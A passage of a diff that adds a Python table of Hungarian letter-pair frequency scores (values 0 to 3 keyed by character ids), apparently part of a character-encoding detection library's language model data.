52: 3, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 1, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 37: { # 'T' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 57: { # 'U' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 48: { # 'V' + 28: 2, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 55: { # 'Y' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 2, # 'Z' + 2: 1, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 52: { # 'Z' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 1, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 2: { # 'a' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 18: { # 'b' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 26: { # 'c' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 1, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 2, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 2, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 17: { # 'd' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 2, # 'k' + 6: 1, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 1: { # 'e' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 2, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 27: { # 'f' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 3, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 3, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 12: { # 'g' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 20: { # 'h' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 9: { # 'i' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 3, # 'ó' + 24: 1, # 'ö' + 31: 2, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 1, # 'ű' + }, + 22: { # 'j' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 1, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 1, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 7: { # 'k' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 1, # 'ú' + 29: 3, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 6: { # 'l' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 3, # 'ő' + 56: 1, # 'ű' + }, + 13: { # 'm' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 1, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 3, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 2, # 'ű' + }, + 4: { # 'n' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 2, # 